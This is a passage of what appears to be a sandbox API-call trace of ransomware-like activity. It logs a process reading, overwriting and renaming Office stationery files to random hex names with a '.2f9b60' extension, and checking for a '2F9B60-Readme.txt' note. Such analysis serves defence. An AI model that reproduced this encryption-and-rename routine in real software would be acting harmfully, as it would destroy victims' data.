Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0118.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0118.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b820) returned 1 Thread: id = 1319 os_tid = 0xeac [0117.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm")) returned 0x20 [0117.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM", dwFileAttributes=0x20) returned 1 [0117.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x170c [0117.797] GetFileSizeEx (in: hFile=0x170c, lpFileSize=0x3ba2f660 | out: lpFileSize=0x3ba2f660*=469) returned 1 [0117.797] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x1d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.797] ReadFile (in: hFile=0x170c, lpBuffer=0x3ba2f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ba2f628, lpOverlapped=0x0 | out: lpBuffer=0x3ba2f5e0*, lpNumberOfBytesRead=0x3ba2f628*=0x4, lpOverlapped=0x0) returned 1 [0117.798] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa030 [0117.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ee0 [0117.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 [0117.798] NtQuerySystemTime (in: CurrentTime=0x3ba2f520 | out: CurrentTime=0x3ba2f520*=132462177232474000) returned 0x0 [0117.798] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x4ab4abf7 [0117.798] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x77ef2cc3 [0117.798] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x23dba395 [0117.798] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x53233c53 [0117.798] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x245f4b69 [0117.798] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x20d32810 [0117.798] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x46124040 [0117.798] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x4ccd01e3 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x4d2129f [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0xbd85690 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x1d49f8a [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x15bab8ba [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x278bb570 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x79778935 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x38f4931c [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x7c485808 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x1bc07752 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x22863535 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x7a8e7f44 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x42b674bd [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x1ef23960 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x34a7e423 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x7b2630f3 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x629e165b [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x48146940 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x330d9e0f [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x7a3f66dd [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x2e4780f8 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x6cc3224a [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x63e1e323 [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x3e3cf4af [0117.799] RtlRandomEx (in: Seed=0x3ba2f510 | out: Seed=0x3ba2f510) returned 0x2f54f514 [0117.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0117.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0117.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa030) returned 1 [0117.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa030 [0117.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa030) returned 1 [0117.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc4990 [0117.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fbd170 [0117.810] ReadFile (in: hFile=0x170c, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x1d5, lpNumberOfBytesRead=0x3ba2f510, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x3ba2f510*=0x1d5, lpOverlapped=0x0) returned 1 [0117.810] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.810] WriteFile (in: hFile=0x170c, lpBuffer=0x41fbd170*, nNumberOfBytesToWrite=0x1d5, lpNumberOfBytesWritten=0x3ba2f514, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesWritten=0x3ba2f514*=0x1d5, lpOverlapped=0x0) returned 1 [0117.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa030 [0117.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 [0117.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0117.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fbd170) returned 1 [0117.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc4990) returned 1 [0117.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0117.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9e80 [0117.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9eb0 [0117.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f40 [0117.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ca0 [0117.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ca0) returned 1 [0117.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0117.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0117.828] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.828] WriteFile (in: hFile=0x170c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3ba2f630, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3ba2f630*=0x10a, lpOverlapped=0x0) returned 1 [0117.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ca0 [0117.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ca0) returned 1 [0117.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ca0 [0117.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9dc0 [0117.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9dc0) returned 1 [0117.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0117.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.831] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="f0") returned 2 [0117.831] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="73") returned 2 [0117.831] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="66") returned 2 [0117.831] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="83") returned 2 [0117.831] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="9d") returned 2 [0117.831] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="73") returned 2 [0117.831] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="c4") returned 2 [0117.831] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="f6") returned 2 [0117.831] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="39") returned 2 [0117.831] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="e2") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="15") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="8b") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="85") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="12") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="b5") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="74") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="7b") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="63") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="50") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="60") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="2a") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="ab") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="db") returned 2 [0117.832] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="1f") returned 2 [0117.832] RtlInitAnsiString (in: DestinationString=0x3ba2f6a8, SourceString="f07366839d73c4f639e2158b8512b5747b6350602aabdb1f" | out: DestinationString="f07366839d73c4f639e2158b8512b5747b6350602aabdb1f") [0117.832] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ba2f678, SourceString="f07366839d73c4f639e2158b8512b5747b6350602aabdb1f", AllocateDestinationString=1 | out: DestinationString="f07366839d73c4f639e2158b8512b5747b6350602aabdb1f") returned 0x0 [0117.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9780 [0117.832] RtlFreeAnsiString (AnsiString="f") [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ca0) returned 1 [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f40) returned 1 [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa030) returned 1 [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ee0) returned 1 [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0117.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adfc0 [0117.833] wcscat (in: _Dest=0x1b7adfc0, _Source="f07366839d73" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\f07366839d73") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\f07366839d73" [0117.834] wcscat (in: _Dest=0x1b7adfc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\f07366839d73.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\f07366839d73.2f9b60" [0117.834] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\f07366839d73.2f9b60", NtPathName=0x3ba2f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\f07366839d73.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0117.834] NtSetInformationFile (FileHandle=0x170c, IoStatusBlock=0x3ba2f6f0, FileInformation=0x20279970, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0118.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0118.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a110) returned 1 [0118.177] NtQueryInformationFile (in: FileHandle=0x170c, IoStatusBlock=0x3ba2f6b8, FileInformation=0x3ba2f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ba2f6b8, FileInformation=0x3ba2f6c8) returned 0x0 [0118.177] NtSetInformationFile (FileHandle=0x170c, IoStatusBlock=0x3ba2f6b8, FileInformation=0x3ba2f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0118.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9780) returned 1 [0118.195] FlushFileBuffers (hFile=0x170c) returned 1 [0118.203] CloseHandle (hObject=0x170c) returned 1 [0118.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ae420 [0118.279] wcscpy (in: _Dest=0x1b7ae420, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0118.279] wcscat (in: _Dest=0x1b7ae420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0118.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0118.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae420) returned 1 [0118.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b8b0) returned 1 Thread: id = 1320 os_tid = 0xeb0 [0117.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.gif")) returned 0x20 [0117.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF", dwFileAttributes=0x20) returned 1 [0117.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0118.133] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x3c2ff680 | out: lpFileSize=0x3c2ff680*=1115) returned 1 [0118.134] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x457, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.134] ReadFile (in: hFile=0x149c, lpBuffer=0x3c2ff600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c2ff648, lpOverlapped=0x0 | out: lpBuffer=0x3c2ff600*, lpNumberOfBytesRead=0x3c2ff648*=0x4, lpOverlapped=0x0) returned 1 [0118.164] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0118.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f70 [0118.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9fa0 [0118.165] NtQuerySystemTime (in: CurrentTime=0x3c2ff540 | out: CurrentTime=0x3c2ff540*=132462177236062000) returned 0x0 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x77bb78ad [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x59c6f42d [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x1967401a [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x50214314 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x82d6a4d [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x3b943705 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x19a18da3 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x5e1046e0 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x3ac6bb47 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x66677ffd [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0xa3f8a29 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x40a06da7 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x720e86fd [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x5718cb9a [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x70774688 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x7effaad2 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x30654d31 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x7afa81e9 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0xc99b86a [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x3b61b3c0 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x31f9b86e [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x53215c3b [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x65201e20 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x3996a [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x597a8d84 [0118.165] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0xe70afb8 [0118.166] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x5da94850 [0118.166] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x2ea1abc2 [0118.166] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x41b96348 [0118.166] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x77a51a59 [0118.166] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x1fcd0dd3 [0118.166] RtlRandomEx (in: Seed=0x3c2ff530 | out: Seed=0x3c2ff530) returned 0x3fe815ba [0118.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0118.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0118.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9fa0) returned 1 [0118.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0118.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0118.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0118.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc4990 [0118.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fbd170 [0118.176] ReadFile (in: hFile=0x149c, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x45b, lpNumberOfBytesRead=0x3c2ff530, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x3c2ff530*=0x45b, lpOverlapped=0x0) returned 1 [0118.176] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.176] WriteFile (in: hFile=0x149c, lpBuffer=0x41fbd170*, nNumberOfBytesToWrite=0x45b, lpNumberOfBytesWritten=0x3c2ff534, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesWritten=0x3c2ff534*=0x45b, lpOverlapped=0x0) returned 1 [0118.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0118.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9fa0 [0118.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9fa0) returned 1 [0118.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fbd170) returned 1 [0118.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc4990) returned 1 [0118.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9fa0 [0118.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ee0 [0118.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ee0) returned 1 [0118.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9ee0 [0118.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa030 [0118.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 [0118.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0118.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.206] RtlFreeHeap 